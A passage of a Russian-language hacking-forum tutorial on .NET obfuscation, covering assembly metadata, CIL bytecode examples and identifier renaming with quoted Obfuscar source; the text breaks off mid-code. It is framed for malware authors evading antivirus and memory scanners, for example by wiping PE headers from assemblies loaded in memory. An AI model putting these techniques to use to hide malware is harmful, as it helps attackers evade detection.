7. Пират по прозвищу Джит-Крюк.
8. Такой динамический инвок.
9. Эй, пёс, я вставил ВМ в ВМ...
1. Такие странные дотнет-сборки.
Многие из вас, наверняка, знают, что в Венде исполняемый файлы (программы), динамические библиотеки и тому подобное принято содержать в специальном формате файлов, который носит незамысловатое название «Portable Executable» (он же PE). Но для некоторых людей, как показала практика, не всегда очевидно, что в PE-файлы (помимо исполняемого нативного кода) можно напихать разных странных вещей. Собственно, так и происходит, когда компилируются дотнет- программы из самых разных языков программирования, таких как C#, F#, VB.NET и других. Программа или динамическая библиотека в мире дотнетов носит название «сборка» (она же Assembly) и от традиционных исполняемых файлов в ней остается как говорится «х#й, да ни хуя» (с). Конечно, сборка может иметь прямо внутри себя фрагменты нативного кода, но такую «эзотерику» мы сегодня рассматривать не будем. Обычно в PE-файле сборки присутствует только миниатюрный стаб, который запускает эти ихние дотнеты в текущем процессе и интегрирует в них код, который не имеет к нативному коду никакого отношения чуть более, чем полностью.
С этого момента давайте поподробнее. Дотнет сборка представляет собой набор таблиц мета-данных, элементы которых ссылаются друг на друга с помощью токенов, которые на самом деле ни что иное, как идентификатор таблицы и номер строки в этой таблице, забитые в байты одного 32-битного числа. Такой набор таблиц стандартизирован и всегда имеет примерно один и тот же вид. Обычно он заботливо запихан внутрь секции «.text» формата PE-файлов, но теоретически он может лежать в любой из секций PE-файла, лишь бы она обладала правами на чтение (такое никогда не встречается, но возможно). Технические детали того, как организованы таблицы мета-данных, для понимания дотнет обфускации не так критичны, важно только знать, что все дотнетовские вещи так или иначе будут находиться в этих таблицах.
Логически же дотнет-сборка имеет вид древовидной структуры, а вот понимать ее как раз может оказаться довольно полезным. Во главе (корнем дерева) стоит сама сборка (Assembly). У сборки может быть один или несколько модулей (Module), хотя чаще всего в одной сборке один модуль. Каждый модуль может содержать один или несколько типов (Type), тип же в свою очередь может быть классом (Class), интерфейсом (Interface), перечислением (Enum) и так далее. Чуть ниже, например, классы могут иметь методы (Method) и поля (Field), которые могут быть статическими (Static) и объектными (Instance). Забавно, но, например, на низком уровне классы не имеют свойств (Properties), как отдельных сущностей, они физически реализованы через поля и методы с префиксами «get_» и «set_» для геттеров и сеттеров соответственно. А тип делегата (Delegate) на самом деле является классом с определенным набором методов. Создание таких обвязок является задачей конкретного компилятора (в мире дотнетов это - чаще всего компилятор языка C#, но не стоит забывать, что есть еще и VB.NET, F#). В свою очередь методы могут иметь или не иметь «тела» (CILBody) и аргументов вызова (Parameter). Тело метода может иметь локальные переменные (LocalVariable), обработчики исключений (ExceptionHandler) и набор инструкций MSIL-кода (Instructions). А каждая инструкция имеет размер, тип и операнд в том случае, когда он необходим этой инструкции. Операндом инструкции на низком уровне может быть константа или тот самый токен, о котором мы говорили чуть ранее (за исключением инструкции «switch», которая операндом принимает список смещений, и она, если честно, довольно ебанутая, как по мне).
Об MSIL/CIL-коде мы поговорим чуточку позже, а пока поподробнее рассмотрим логическую структуру дотнет-сборок. Каждый элемент в такой древовидной структуре имеет набор различных свойств. Например, у класса есть имя (Name) и пространство имен (Namespace), причем пространство имен не является древовидной структурой, это просто строка, в которую можно напихать точек, чтобы предать этой строке какую-то иерархию. Класс может быть публичным (Public) или внутренним (Internal), статическим (Static), абстрактным (Abstract), вложенным в другой класс и так далее. Все эти аспекты сущности класса так или иначе описаны в его свойствах в таблицах метаданных. Описывать все аспекты вряд ли является целесообразным, в статье мы коснемся только тех из них, которые необходимо знать для базового понимания того, как работают алгоритмы обфускации дотнетов.
Говоря о странностях дотнет сборок, нельзя не упомянуть о такой забавной и иногда полезной особенности… Дотнет сборки могут иметь один из четырех флагов, назовем их «флагами архитектуры»: x64, x86, AnyCpu и AnyCpu 32-bit preffered. Если установлен флаг x64, то сборка будет запускаться как 64-битный процесс всегда (и не будет запускаться на 32-битных системах). Если установлен флаг x86, то сборка всегда будет запускаться как 32-битный процесс, как на 64-битной операционной системе, так и на 32-битной. Если установлен флаг AnyCpu, то сборка запускается как 64-битный процесс на 64-битной системе, и как 32-битный процесс на 32-битной системе. Этот флаг уже дает нам (не очевидное изначально) преимущество в том плане, что не нужно изъебываться всякими хевенсгейтами, чтобы оказаться в 64-битном режиме на 64-битной системе, при этом прекрасно работая на 32-битной системе. Механизм того, как это реализовано мелкомягкими довольно забавен, почитать о нем подробнее можно тут: <https://debugandconquer.blogspot.com/2015/04/the-relationship-between- net-and.html?m=1> — кто бы знал, что загрузчик PE-файлов операционной системы вполне себе может «переобуть» процесс из 32-битного в 64-битный. Кастую призыв моих «ядерных-бро» varwar и atavism, возможно им будет это интересно (я юзер-модный хомячок, за ядро не то чтобы шарю, поэтому от меня не спрашивайте глубоких подробностей об этом)…
И еще один забавный факт про дотнетовские сборки. При старте нового процесса исполняемый файл загружается в виртуальную память по всем привычным правилам, то есть настраиваются секции (включая атрибуты доступа к ним), таблица импорта и так далее, как это происходит с нативными PE-файлами. Но когда мы, допустим, с помощью Assembly.Load загружаем из памяти другие дотнет-сборки, то никаких обычных для PE-файлов настроек не происходит. Загруженные таким образом сборки лежат в памяти так же в виде массива, идентичного тому, что был передан в Assembly.Load. Более того, настройка атрибутов доступа к памяти тоже не происходит, и этот байтовый массив лежит на страницах с доступом на чтение/запись (без доступа на исполнение). Флаг исполнения оказывается «не нужон» (с), если в сборке отсутствует нативный код, а есть только MSIL. Такое поведение дает нам еще одно (не очевидное) преимущество с точки зрения сканеров памяти. Так как, если затереть ряд заголовков и типичных для PE- формата вещей (при этом ничего не поломав), то загруженная сборка будет внешне выглядеть в памяти, как данные, а не как исполняемый файл. Конечно, сканеры памяти тоже успели поесть говна с этим и умеют до определенной степени успеха такие вещи определять, а также ETW может дать им посказочку о том, что этот буфер - сборка, но сам факт, что такая возможность есть, немножко да греет душонку малварщика.
Для чтения, модификации и записи таблиц метаданных на высоком уровне существует несколько библиотек: Mono.Cecil, dnlib, AsmResolver (все три библиотеки написаны на С# и предоставляются в виде дотнет-библиотеки классов) и DotNetPeLib (библиотека на С++, но я ей никогда не пользовался, ничего не могу сказать). Из всех библиотек в своих проектах я предпочитаю использовать AsmResolver, поскольку помимо в некоторых аспектах более качественной поддержки метаданных дотнетов, она еще имеет хороший набор функционала для манипуляции непосредственно PE-форматом. Как мы в дальнейшем увидим, многие из публичных проектов обфускаторов будут использовать dnlib. API этих библиотек довольно похожи друг на друга и пересесть с одной библиотеки на другую не составит большого труда (я начинал с использования Mono.Cecil, потом без проблем пересел на dnlib, а уже потом моё сердечько целиком и полностью завоевал AsmResolver, который я стал использовать для многих вещей, даже иногда не связанных с дотнетами). Указанные библиотеки можно найти по следующим ссылкам:
create .NET programs and libraries. ](https://github.com/jbevain/cecil)
Cecil is a library to inspect, modify and create .NET programs and libraries.
github.com
](https://github.com/0xd4d/dnlib)
Reads and writes .NET assemblies and modules. Contribute to 0xd4d/dnlib development by creating an account on GitHub.
github.com
editing PE files and .NET modules. ](https://github.com/Washi1337/AsmResolver)
A library for creating, reading and editing PE files and .NET modules. - GitHub - Washi1337/AsmResolver: A library for creating, reading and editing PE files and .NET modules.
github.com
program (CIL) and dump to either .IL, .EXE, or .DLL format ](https://github.com/LADSoft/DotNetPELib)
A C++11 library used to create a managed program (CIL) and dump to either .IL, .EXE, or .DLL format - GitHub - LADSoft/DotNetPELib: A C++11 library used to create a managed program (CIL) and dump t...
github.com
Мы с вами будем рассматривать несколько доступных в паблике обфускаторов, которые так или иначе реализуют один или несколько типичных аспектов обфускации дотнетов. Хорошо каждый конкретный аспект сделан или нет тут скорее не важно, поскольку я предполагаю, что погружаясь в тему обфускации вы будете делать свою собственную реализацию аспектов «с преферансом и куртизанками» (с). Помните, что все, что доступно в каком-то виде в паблике, уже палится большинством аверов, или начнет палиться, когда скрипткиддисы его окончательно задрочат. Поэтому я — своего рода приверженец кастомных приватных тулзов, однако учиться на публичных проектах на мой взгляд совершенно не грешно. Для вас и этой статьи я отобрал следующие проекты, в исходный код которых мы будем заглядывать в процессе всех частей:
applications ](https://github.com/yck1509/ConfuserEx)
An open-source, free protector for .NET applications - GitHub - yck1509/ConfuserEx: An open-source, free protector for .NET applications
github.com
assemblies ](https://github.com/obfuscar/obfuscar)
Open source obfuscation tool for .NET assemblies. Contribute to obfuscar/obfuscar development by creating an account on GitHub.
github.com
](https://github.com/Elliesaur/TinyJitHook)
Example JIT Hook for .NET FW/Core. Contribute to Elliesaur/TinyJitHook development by creating an account on GitHub.
github.com
![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F9bf3068b31c6c7801633901cf98ae85c7f2f96c39d5694852c12b867402de31b%2Fhexck%2FHex- Virtualization&hash=439ee82ebc35aef0f5a03461a2233ac8&return_error=1)
](https://github.com/hexck/Hex-Virtualization)
:guardsman: .NET Virtualization made in C#. Contribute to hexck/Hex- Virtualization development by creating an account on GitHub.
github.com
works together with ConfuserEx ](https://github.com/TobitoFatitoRE/MemeVM)
A small virtualizer for .NET which works together with ConfuserEx - GitHub - TobitoFatitoRE/MemeVM: A small virtualizer for .NET which works together with ConfuserEx
github.com
from managed code without PInvoke. ](https://github.com/TheWover/DInvoke)
Dynamically invoke arbitrary unmanaged code from managed code without PInvoke.
github.com
<утекшие_исходники_VMProtect>
2. Кто вставил Forth внутрь дотнета?
Ранее я сказал, что дотнет-код и нативный код — это две довольно разные вещи. Нативный код, который компилируется из этих ваших Сишечек, Плюсов, Дэ, Ржавого, Нимов и других нативных языков программирования исполняются на реальном железе (читай «на процессоре»). Шарпы (будь то C# или F#) и VB.NET компилируются в специальный код, который называют CIL (Common Intermediate Language) или же MSIL (который по сути является синонимом первого, я буду использовать оба термина, не запариваясь о деталях). CIL — это байткод для стековой виртуальной машины и среды исполнения CLR (Common Language Runtime), которая живет в глубине дотнетов. На вендовых операционных системах часто предустановлена CLR версии 2.0 (на которой исполняется код для фреймворка 2.0-3.5, идет в базовой пачке Windows 7) и/или версии 4.0 (на которой исполняется код для фреймворка 4.0-4.8, идет в базовой пачке Windows 10). Тут важно заметить, что фреймворк 3.5 на самом деле — фреймворк 2.0 с набором дополнительных библиотек, а с фреймворка 4.0 версионность уже идет более адекватно в том плане, что куда логичнее и понятнее, что фреймворк 4.5 — это фреймворк 4.0 плюс библиотеки. Современные дотнеты 5.0 и выше имеют немного другую среду исполнения, рассматривать их мы не будем потому, что малвари на дотнетах в подавляющем большинстве случаев используют именно фреймворк 2.0-4.8 (хотя сейчас уже, наверное, можно смело сказать 4.0+). А на компьютерах обычных рядовых пользователей крайне редко можно встретить дотнеты 5.0 или того выше (которые не предустановлены и их нужно устанавливать отдельно).
Стековую виртуальную машину мы уже однажды с вами писали тут: https://xss.is/threads/64508/ - по сути все подобные ВМ имеют примерно похожий вид (как, например, у Java или CPython). Смысл в том, что вместо привычных глазу реверсера регистров для подавляющего большинства операций используется стек. Я не знаю, почему исторически сложилось, что стековые виртуальные машины куда более распространены, чем регистровые, скорее всего в стековое представление проще компилить код из абстрактного синтаксического дерева (не нужно писать специальный аллокатор регистров). Но факт остается фактом, среди реализаций языков программирования вы куда чаще встретите именно стековые виртуальные машины (передаю привет бразильцам, которые Lua пилят, быть другим — нормально, не стесняйтесь этого ).
Реализация CLR использует так называемый «JIT-компилятор» (от выражения «just in time»). Смысл в том, что при первой попытке вызова метода его CIL-код компилируется в нативный код для текущей архитектуры (x86 — для 32-битного процесса, x64 — для 64-битного). JIT-компилятор выделяет исполняемую память на специальной куче, считывает CIL-код метода, с применением ряда оптимизаций компилирует его в нативный код, записывает его в выделенный исполняемый буфер, и запускает на исполнение. Компиляцию метода можно вызвать принудительно еще до его непосредственного вызова с помощью RuntimeHelpers.PrepareMethod, это часто используется при взаимодействии с внешними нативными библиотеками (например, когда в библиотеку нужно передать callback). С JIT-компилятором тоже можно своего рода «поиграться», но об этом мы поговорим позже, когда познакомимся с пиратом по прозвищу Джит-Крюк, пока не будем забегать вперед.
Для того, чтобы было удобно исследовать механизмы работы CIL-кода и JIT- компилятора, есть замечательный сайт: https://sharplab.io/ - на нем можно писать C#-код, а затем смотреть, в какой CIL-код он скомпилировался, и в какой нативный код CIL-код будет скомпилирован JIT-компилятором. Конечно, в рамках одной статьи невозможно коснуться всех интересных аспектов работы CIL-кода, и тем более нельзя научить вас программировать на чистом MSIL’е (или думать в рамках стекового языка программирования). Поэтому я рекомендую вам самим потыкать сайт sharplab.io и посмотреть, какие конструкции высокоуровневого языка C# компилируются в какие низкоуровневые конструкции CIL-кода. Это будет полезно. Я же в статье приведу только небольшой ряд примеров, которого на мой взгляд будет достаточно для понимания остального контента статей цикла.
Как я уже говорил, в стековых языках программирование все происходит через стек (очевидно, к гадалке можно не ходить). Давайте увидим это на примере одной простой операции сложения двух 32-битных чисел. На сайте sharplab.io вобьем следующий Цэ-шарповый код:
C#:Copy to clipboard
using System;
public class C {
public int M(int a, int b) {
return a + b;
}
}
Окей, теперь давайте посмотрим, какой же CIL-код мы получили из этого. Инструкция ldarg.N кладет на стек аргумент вызова метода с номером N, то есть при исполнении инструкций IL_0000 и IL_0001 на стеке последовательно окажутся два аргумента вызова метода. Кстати, нулевым аргументом в instance-методы класса неявно передается ссылка на this (при необходимости кладется на стек инструкцией ldarg.0). Далее будет исполнена инструкция add. Она забирает два элемента с верхушки стека, складывает их вместе и кладет результат сложения на верх стека. Инструкция ret выходит из метода или же завершает его. При этом, если метод не является void, а возвращает какое-либо значение, то инструкция ret получает это значение с верхушки стека и кладет его на стек вызывающего метода (таким образом происходит возврат значения).
Code:Copy to clipboard
IL_0000: ldarg.1
IL_0001: ldarg.2
IL_0002: add
IL_0003: ret
Забавно, что CLR (видимо, для ускорения своей работы) проводит очень мало валидаций того, что находится на стеке. Она предполагает, что CIL-код всегда корректно сгенерирован компилятором. Поэтому, изменяя CIL-код можно как все неимоверно испортить (что обычно приводит к жестким падениями или к BadImageFormatException), так и получить разные забавные эффекты (например, получить внутренний адрес объекта из его ссылки на стеке, с чем в обычном не- unsafe коде C# компилятор не захочет вам помогать). В контексте этой статьи важно понимать, что CIL-код довольно хрупок, и нужно быть внимательным, чтобы ничего не поломать. Ну и ради интереса давайте посмотрим в какой нативный код будет скомпилирован наш пример JIT-компилятором (уффф, настолько оптимизированно, что мне пришлось секунд 10 разглядывать asm-код, чтобы понять, куда сложение делось ):
Code:Copy to clipboard
L0000: lea eax, [rdx+r8]
L0004: ret
Вызов методов происходит с помощью инструкций call, callvirt и довольно изотерической инструкции calli. Инструкция call используется для вызова статических и невиртуальных методов. Если метод так или иначе задействован в цепочке наследования, то для вызова используется инструкция callvirt (которая уже осуществляет вызов через vtable). Vtable дотнетов на уровне нативного кода реализован очень похоже на тоже самое в плюсах (скорее всего, это было сделано для интеропа в том числе и с COM-классами). Физически у объекта в памяти есть указатель на таблицу указателей на виртуальные методы. При вызове виртуального метода сначала происходит разименование указателя на таблицу с указателями на методы, затем из этой таблицы получается нужный указатель, затем метод вызывается по этому указателю. Мы с вами делали бы тоже самое руками, если бы пытались вызвать такой метод из православной Сишечки, в Плюсах же и Шарпах эти вещи реализует компилятор (в первом случае) и рантайм (во втором). Про calli не спрашивайте, ебал я в рот в этой залупе разбираться . Аргументы для вызова метода кладутся на стек в прямом (а не обратном) порядке. То есть вызов статического метода TestMethod(1, 2, 3) будет выглядеть так:
Code:Copy to clipboard
IL_0000: ldc.i4.1
IL_0001: ldc.i4.2
IL_0002: ldc.i4.3
IL_0003: call void C::TestMethod(int32, int32, int32)
Теперь, когда вы уже это всё увидели (идеальное планирование статьи в действии), давайте я расскажу, как на стеке должны оказываться различного рода константы. Для этого есть ряд специальных инструкций. Так, например, чтобы на стек положить 32-битное число, нужно воспользоваться инструкцией ldc.i4 (или одной из ее коротких форм), для 64-битного числа есть инструкция ldc.i8, а для чисел с плавающей точкой инструкции ldc.r4 и ldc.r8 для float и double соответственно. Значение константы вшивается в код в след за опкодом инструкции. Особняком в этой группе стоит инструкция ldstr, которая загружает на стек константную строку. Дело в том, что вместо непосредственного значения (как в случае ldc.i4 и других) за опкодом в CIL-код вшивается тот самый токен, который указывает на строку в таблицах мета-данных. То есть сами данные строки хранятся отдельно, на данные ссылается элемент таблицы мета-данных, а на элемент таблицы через токен ссылается код. Это делается для того, чтобы не раздувать объем кода (за счет дублирования данных строки) в том случае, если в нескольких местах код будет пытаться положить на стек одну и ту же строку. Сложно, но понять и простить можно.
Но часто на форумах я вижу отчаянный вопрос: «так а как на блядский стек положить массив, чего-то я не вдупляю ёбанарот». Да, брат, понимаю твою боль, массивы в CIL-коде — это совершенно отдельный способ садомазохизма (когда пытаешься их реализовывать на уровне CIL-кода). Для начала давайте посмотрим, как на стеке оказывается массив объектов (в данном случае массив строк):
C#:Copy to clipboard
using System;
public class C {
public string[] M() {
return new string[] {
"wtf is that, bro?",
"arrays sucks so much"
};
}
}
Для начала на стеке нужно создать объект массива с пустым набором элементов. Для этого на стек сначала помещается длина массива (ldc.i4.2 — загружает на стек двойку), а затем с помощью инструкции newarr создается массив нужного нам типа (в качестве аргумента инструкция принимает токен, указывающий на описание типа в таблице мета-данных). Затем внутрь массива запихиваются элементы друг за другом. Для этого для каждого элемента сначала дублируется ссылка на массив с помощью инструкции dup (получает с вершины стека ссылку и добавляет ее копию выше исходной в стеке). Помимо инструкции dup может быть использована инструкция ldloc, если массив хранится в локальной переменной. Затем на стек кладется порядковый номер элемента и само значение для элемента (в нашем случае это строки, которые загружаются на стек с помощью инструкции ldstr). Далее идет инструкция stelem.ref, которая забирает со стека значение элемента, его индекс (порядковый номер) и ссылку на массив, и записывает в массив элемент по индексу. С одной стороны это выглядит неоправданно сложно, но с другой стороны, а как вы еще сделаете массивы в стековом языке программирования:
Code:Copy to clipboard
IL_0000: ldc.i4.2
IL_0001: newarr [mscorlib]System.String
IL_0006: dup
IL_0007: ldc.i4.0
IL_0008: ldstr "wtf is that, bro?"
IL_000d: stelem.ref
IL_000e: dup
IL_000f: ldc.i4.1
IL_0010: ldstr "arrays sucks so much"
IL_0015: stelem.ref
IL_0016: ret
Теперь давайте посмотрим, как дела обстоят с массивами примитивных типов, например, с массивами 32-битных целых чисел. И предвкушая ваше удивление, тут все еще неоправданно сложнее…
C#:Copy to clipboard
using System;
public class C {
public int[] M() {
return new int[] {
1, 2, 3, 4, 5
};
}
}
Как и в прошлый раз (в случае с объектами) сначала на стеке создается массив
на этот раз уже примитивного типа (инструкциями ldc.i4 и newarr). Но затем
происходит с первого взгляда «неведомая х#йня» и «страшно, очень страшно, если
бы мы знали, что это, мы не знаем что это» (с). Ну давайте я поясню.
Непосредственно данные массива примитивных элементов хранятся прямо внутри
CIL-кода. Для этого компилятор создает специальный класс с незамысловатым
названием «
Code:Copy to clipboard
IL_0000: ldc.i4.5
IL_0001: newarr [mscorlib]System.Int32
IL_0006: dup
IL_0007: ldtoken field valuetype '<PrivateImplementationDetails>'/'__StaticArrayInitTypeSize=20' '<PrivateImplementationDetails>'::'4F6ADDC9659D6FB90FE94B6688A79F2A1FA8D36EC43F8F3E1D9B6528C448A384'
IL_000c: call void [mscorlib]System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(class [mscorlib]System.Array, valuetype [mscorlib]System.RuntimeFieldHandle)
IL_0011: ret
Безусловно, чтобы разобраться во всех тонкостях того, что происходит в CIL- коде, таких примеров далеко не достаточно. Но я надеюсь, что я научил вас главному: как при необходимости удобно и просто смотреть, какие высокоуровневые конструкции во что компилируются. Обычно я так и делал сам. Нужно что-то сделать на уровне MSIL — сделал на Шарпах, посмотрел CIL-код, понял его, повторил на уровне CIL-кода, получил профит. При необходимости можно почитать описание всех инструкций CIL-кода на MSDN’е тут: <https://learn.microsoft.com/en- us/dotnet/api/system.reflection.emit.opcodes?view=netframework-4.0> — знаю, что мелкомягкие любят перехерачить ссылки MSDN’а, поэтому, если эта ссылка протухнет, просто гуглите конкретную инструкцию, типа «opcode ldstr».
Ну и да, возвращаясь к вопросу о том, кто вставил Forth внутрь дотнетов? Я не знаю, наверное, мистер Андерс Хейлсберг. Но он скорее всего спиздел вдохновлялся реализацией Джавы, а не Фортом в чистом виде. Если кому интересно, посмотрите на стековые языки программирования типа Форта и сразу поймете отсылку...
3. Что в имени тебе моем?
Как писал классик: «Что в имени тебе моем? Оно заобфусцируется, как шум печальный...» (с). Мы с вами начнем с самого простого алгоритма обфускации этих ваших дотнетов — переименования идентификаторов. Дело в том, что в отличии от нативных языков программирования (Цэ, Плюсы, Дэ, Ним и так далее), компиляторы которых при сборке нативного кода пренебрегают сохранением названий классов, методов, аргументов и переменных (за исключением RTTI и отладочной информации, конечно), в мире дотнетов почти все имена сохраняются в таблицах метаданных. Это сделано для удобства отладки и использования скомпилированных библиотек. Сами посудите, если в нативных динамических библиотеках мы официально можем вызывать только функции из таблицы экспорта (в которой имена сохраняются), то из дотнетовских динамических библиотек (и даже экзешников) мы можем использовать любой публичный метод публичного класса (и даже приватные методы внутренних классов через Reflection). Мелкомягкие давно пытались сделать нечто подобное для своих COM’ов через эти ихние TypeLib’ы, но согласитесь, с дотнетами вышло куда лучше.
Смысл этого алгоритма обфускации в том, чтобы рекурсивно обойти дерево сборки
(которое мы обсуждали в самом начале) и переименовать всё, что можно было
переименовать (при этом ничего не поломав). Что я подразумеваю под «поломать»,
вы спросите? Дело в том, что дотнет фреймворк предполагает, что определенные
вещи называются определенными именами. Так, например, глобальный класс
«
Теперь давайте подумаем, во что мы можем переименовывать элементы метаданных. Если нам хочется минимизировать размер сборки, то мы можем переименовывать элементы в короткие названия, вплоть до одной буквы, типа класс «A», класс «B» и так далее. Если мы хотим, чтобы у реверсера ломались глаза, то можем переименовывать во что-то типа «lI1llI1lIl1» (где название состоит из зрительно очень похожих друг на друга символов «I», «l» и «1»). Если мы хотим, чтобы сборка неотсвечивала после переименования, то можно брать псевдослучайные слова из какого-то word-листа, который можно найти в интернетах. Кроме того, дотнеты поддерживают юникод символы в идентификаторах, поэтому в принципе помимо букв и цифр из Latin-1 мы можем использовать некоторый набор локализованных символов, или даже непечатаемых символов. Но тут нужно быть осторожнее, на старых версиях дотнет фреймворка могут возникать странные баги с этим связанные, в общем, если решите пойти по этому путь, то уделите больше внимания тестированию.
В некоторых случаях при переименовании вещей имеет смысл сохранить некий текстовый файл, в котором будет записаны соответствия исходных имен новым именам для того, чтобы в будущем облегчить себе отладку и тестирование. После того, как вы переименовали исходные идентификаторы в новые все стек-трейсы и другие привычные вещи будут выводиться вам с новыми идентификаторами. Из-за этого иногда бывает очень сложно и муторно искать, где что-то пошло не по вашему плану.
Теперь давайте рассмотрим пример того, как это реализовано в одном из реальных публичных обфускаторов. Для этого я решил взять фрагменты из обфускатора Obfuscar для разнообразия (поскольку он под капотом использует Mono.Cecil) и для простоты (поскольку его реализация выглядит чуть проще, чем у ConfuserEx, который старается рассматривать кучу частных случаев, в большинстве ситуаций ненужных по моему мнению). Собственно переименования происходит в методе «RunRules» класса «Obfuscator»:
C#:Copy to clipboard
public void RunRules()
{
// The SemanticAttributes of MethodDefinitions have to be loaded before any fields,properties or events are removed
LoadMethodSemantics();
LogOutput("Hiding strings...\n");
HideStrings();
LogOutput("Renaming: fields...");
RenameFields();
LogOutput("Parameters...");
RenameParams();
LogOutput("Properties...");
RenameProperties();
LogOutput("Events...");
RenameEvents();
LogOutput("Methods...");
RenameMethods();
LogOutput("Types...");
RenameTypes();
PostProcessing();
LogOutput("Done.\n");
LogOutput("Saving assemblies...");
SaveAssemblies();
LogOutput("Done.\n");
LogOutput("Writing log file...");
SaveMapping();
LogOutput("Done.\n");
}
После сокрытия строк (вызов метод HideStrings) обфускатор переименовывает все поля, параметры, свойства, события, методы и типы. Возможно, у автора проекта была «какая-то тактика», почему переименовывать имена нужно в этом порядке, «и он ее придерживался». Я же в своих обфускаторах переименование реализую, последовательно проходя древовидную структуру: сборка, затем модуль, затем тип, затем все, что вложено в этот тип, затем перехожу к следующему типу. Мне кажется, такой алгоритм более оптимальным в том плане, что не нужно по несколько раз перечислять типы для каждого отдельного алгоритма. Давайте рассмотрим для примера, как происходит переименование типов в методе RenameTypes.
C#:Copy to clipboard
public void RenameTypes()
{
//var typerenamemap = new Dictionary<string, string> (); // For patching the parameters of typeof(xx) attribute constructors
foreach (AssemblyInfo info in Project.AssemblyList)
{
AssemblyDefinition library = info.Definition;
// make a list of the resources that can be renamed
List<Resource> resources = new List<Resource>(library.MainModule.Resources.Count);
resources.AddRange(library.MainModule.Resources);
var xamlFiles = GetXamlDocuments(library, Project.Settings.AnalyzeXaml);
var namesInXaml = NamesInXaml(xamlFiles);
// Save the original names of all types because parent (declaring) types of nested types may be already renamed.
// The names are used for the mappings file.
Dictionary<TypeDefinition, TypeKey> unrenamedTypeKeys =
info.GetAllTypeDefinitions().ToDictionary(type => type, type => new TypeKey(type));
// loop through the types
int typeIndex = 0;
foreach (TypeDefinition type in info.GetAllTypeDefinitions())
{
if (type.FullName == "<Module>")
continue;
if (type.FullName.IndexOf("<PrivateImplementationDetails>{", StringComparison.Ordinal) >= 0)
continue;
TypeKey oldTypeKey = new TypeKey(type);
TypeKey unrenamedTypeKey = unrenamedTypeKeys[type];
string fullName = type.FullName;
string skip;
if (info.ShouldSkip(unrenamedTypeKey, Project.InheritMap, Project.Settings.KeepPublicApi,
Project.Settings.HidePrivateApi, Project.Settings.MarkedOnly, out skip))
{
Mapping.UpdateType(oldTypeKey, ObfuscationStatus.Skipped, skip);
// go through the list of resources, remove ones that would be renamed
for (int i = 0; i < resources.Count;)
{
Resource res = resources[i];
string resName = res.Name;
if (Path.GetFileNameWithoutExtension(resName) == fullName)
{
resources.RemoveAt(i);
Mapping.AddResource(resName, ObfuscationStatus.Skipped, skip);
}
else
{
i++;
}
}
continue;
}
if (namesInXaml.Contains(type.FullName))
{
Mapping.UpdateType(oldTypeKey, ObfuscationStatus.Skipped, "filtered by BAML");
// go through the list of resources, remove ones that would be renamed
for (int i = 0; i < resources.Count;)
{
Resource res = resources[i];
string resName = res.Name;
if (Path.GetFileNameWithoutExtension(resName) == fullName)
{
resources.RemoveAt(i);
Mapping.AddResource(resName, ObfuscationStatus.Skipped, "filtered by BAML");
}
else
{
i++;
}
}
continue;
}
string name;
string ns;
if (type.IsNested)
{
ns = "";
name = NameMaker.UniqueNestedTypeName(type.DeclaringType.NestedTypes.IndexOf(type));
}
else
{
if (Project.Settings.ReuseNames)
{
name = NameMaker.UniqueTypeName(typeIndex);
ns = NameMaker.UniqueNamespace(typeIndex);
}
else
{
name = NameMaker.UniqueName(_uniqueTypeNameIndex);
ns = NameMaker.UniqueNamespace(_uniqueTypeNameIndex);
_uniqueTypeNameIndex++;
}
}
if (type.GenericParameters.Count > 0)
name += '`' + type.GenericParameters.Count.ToString();
if (type.DeclaringType != null)
ns = ""; // Nested types do not have namespaces
TypeKey newTypeKey = new TypeKey(info.Name, ns, name);
typeIndex++;
FixResouceManager(resources, type, fullName, newTypeKey);
RenameType(info, type, oldTypeKey, newTypeKey, unrenamedTypeKey);
}
foreach (Resource res in resources)
Mapping.AddResource(res.Name, ObfuscationStatus.Skipped, "no clear new name");
info.InvalidateCache();
}
}
Дрочь с XAML и ресурсами нам не особо интересна, поскольку это больше
свойственно легитимному коду (если хотите, то можете сами в этом покопаться,
это не так сложно должно быть). В методе сначала происходит сохранение
исходным имен для создания так называемого «mapping»-файла: файла с
соответствием оригинальных и сгенерированных имен (чтобы упрощать отладку
обфусцированного образца и стек-трейсов исключений). Затем в цикле происходит
обработка каждого типа в отдельности. В цикле, как я говорил вам ранее, типы с
именами «
C#:Copy to clipboard
static class NameMaker
{
static string uniqueChars;
static int numUniqueChars;
const string defaultChars = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz";
const string unicodeChars = "\u00A0\u1680" +
"\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u200B\u2010\u2011\u2012\u2013\u2014\u2015" +
"\u2022\u2024\u2025\u2027\u2028\u2029\u202A\u202B\u202C\u202D\u202E\u202F" +
"\u2032\u2035\u2033\u2036\u203E" +
"\u2047\u2048\u2049\u204A\u204B\u204C\u204D\u204E\u204F\u2050\u2051\u2052\u2053\u2054\u2055\u2056\u2057\u2058\u2059" +
"\u205A\u205B\u205C\u205D\u205E\u205F\u2060" +
"\u2061\u2062\u2063\u2064\u206A\u206B\u206C\u206D\u206E\u206F" +
"\u3000";
private static readonly string koreanChars;
static NameMaker()
{
// Fill the char array used for renaming with characters
// from Hangul (Korean) unicode character set.
var chars = new List<char>(128);
var rnd = new Random();
var startPoint = rnd.Next(0xAC00, 0xD5D0);
for (int i = startPoint; i < startPoint + 128; i++)
chars.Add((char) i);
ShuffleArray(chars, rnd);
koreanChars = new string(chars.ToArray());
}
private static void ShuffleArray<T>(IList<T> list, Random rnd)
{
int n = list.Count;
while (n > 1)
{
n--;
int k = rnd.Next(n + 1);
(list[n], list[k]) = (list[k], list[n]);
}
}
public static string UniqueChars
{
get { return uniqueChars; }
}
public static string KoreanChars
{
get { return koreanChars; }
}
public static string UniqueName(int index)
{
return UniqueName(index, null);
}
public static string UniqueName(int index, string sep)
{
// optimization for simple case
if (index < numUniqueChars)
return uniqueChars[index].ToString();
Stack<char> stack = new Stack<char>();
do
{
stack.Push(uniqueChars[index % numUniqueChars]);
if (index < numUniqueChars)
break;
index /= numUniqueChars;
} while (true);
StringBuilder builder = new StringBuilder();
builder.Append(stack.Pop());
while (stack.Count > 0)
{
if (sep != null)
builder.Append(sep);
builder.Append(stack.Pop());
}
return builder.ToString();
}
public static string UniqueNestedTypeName(int index)
{
return UniqueName(index, null);
}
public static string UniqueTypeName(int index)
{
return UniqueName(index % numUniqueChars, ".");
}
public static string UniqueNamespace(int index)
{
